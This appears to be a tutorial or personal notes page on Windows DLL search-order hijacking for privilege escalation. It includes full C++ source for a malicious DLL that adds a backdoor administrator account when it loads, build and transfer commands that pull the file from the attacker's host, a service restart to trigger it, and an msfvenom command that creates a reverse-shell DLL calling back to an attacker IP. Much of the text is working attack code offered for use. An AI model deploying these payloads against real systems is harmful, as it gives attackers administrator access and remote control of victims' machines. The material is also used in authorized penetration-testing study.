Dynamic Link Libraries contain code and resources for other programs to use, saving duplications. These are called shared objects on Linux.

In this approach, we’re replacing the DLL or hijacking the search order.

Windows first searches the following:

  1. The directory from which the application loaded.
  2. The system directory
  3. The 16-bit system directory
  4. The Windows Directory
  5. The current directory
  6. The directories that are listed in the PATH environment variable

If we don’t have permissions to alter the binary, we might be able to replace a DLL.


Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# shows running services

icacls .\Documents\Program.exe
# shows permissions on the specified directory

Take a look in ProcMon and we can understand events related to the binary. Click filter and specify Process Name Is BinaryName and include as the final column. Now if we restart the service for the binary, we can then see what gets loaded in ProcMon.

If any item shows as NameNotFound in the results column, this means we could potantially replace this DLL.

$env:path
# shows variables and these are locations the OS will use. If there are any we can write to, we can hijack this DLL.

This is pwneduser.cpp:


#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call, // reason for calling function
LPVOID lpReserved // Reserved
)
{
	switch ( ul_reason_for_call )
	{
		case DLL_PROCESS_ATTACH: // A process is loading the DLL.
		int i;
		i = system ("net user pwneduser pwned! /add");
		i = system ("net localgroup administrators pwneduser /add");
		break;
		case DLL_THREAD_ATTACH: // a Process is creating a new thread.
		break;
		case DLL_THREAD_DETACH: // a thread exists normally
		break;
		case DLL_PROCESS_DETACH: // A Process unloads the DLL>
		break;
	}
	return TRUE;
}

Now we need to build the DLL

x86_64-w64-mingw32-gc pwneduser.cpp --shared -o pwneduser.dll

Once it’s compiled we can transfer it across.

iwr -uri http://ourip -outfile pwneduser.dll

restart-Service servicename
# restarts the service

This is also possible using MSFVenom to get a reverse shell instead of adding a user:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=$IP LPORT=$PORT -f dll -o replacement.dll
# creates a staged x64 windows reverse TCP payload using the IP and port specified in the DLL format and saves as replacement.dll

So long as the DLL is placed into an appropriate directory, it should work when the process is restarted.